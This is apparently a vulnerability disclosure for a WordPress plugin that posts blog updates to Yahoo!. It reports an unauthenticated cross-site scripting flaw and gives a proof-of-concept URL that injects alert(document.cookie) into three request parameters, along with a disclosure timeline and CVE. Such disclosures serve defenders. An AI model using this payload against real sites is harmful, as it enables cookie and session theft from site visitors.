wp-plugin : yahoo-updates-for-wordpress

Plugin Details
Plugin Name: wp-plugin : yahoo-updates-for-wordpress
Effected Version : 1 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : anantshri
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

<a href="http://localhost/wp-content/plugins/yahoo-updates-for-wordpress/yupdates_application.php?secret=alert(document.cookie)&key=keyalert(document.cookie)&appid=alert(document.cookie)&”>http://localhost/wp-content/plugins/yahoo-updates-for-wordpress/yupdates_application.php?secret=alert(document.cookie)&key=keyalert(document.cookie)&appid=alert(document.cookie)&

Here the parameter ‘secret, key, appid’ is susceptible.

Disclosure Timeline
Vendor Contacted : 2014-01-17
Plugin Status : Updated on
Public Disclosure : May 28, 2014
CVE Number : CVE-2014-4603
Plugin Description :
[| This plugin connects your WordPress blog to your Yahoo! account and creates an update sent to your connections whenever you publish a new blog post. This update contains a title, link and short excerpt of your new post for your connections to click and follow the link back to your blog. Read more about the [Yahoo! Updates](http://developer.yahoo.com/social/updates/) platform. Interested in contributing to this plugin? Fork the source on [GitHub](https://github.com/yahoo/yupdates-wordpress/). The Yahoo! Updates WordPress Plugin code is subject to the BSD license, see the LICENSE file. ]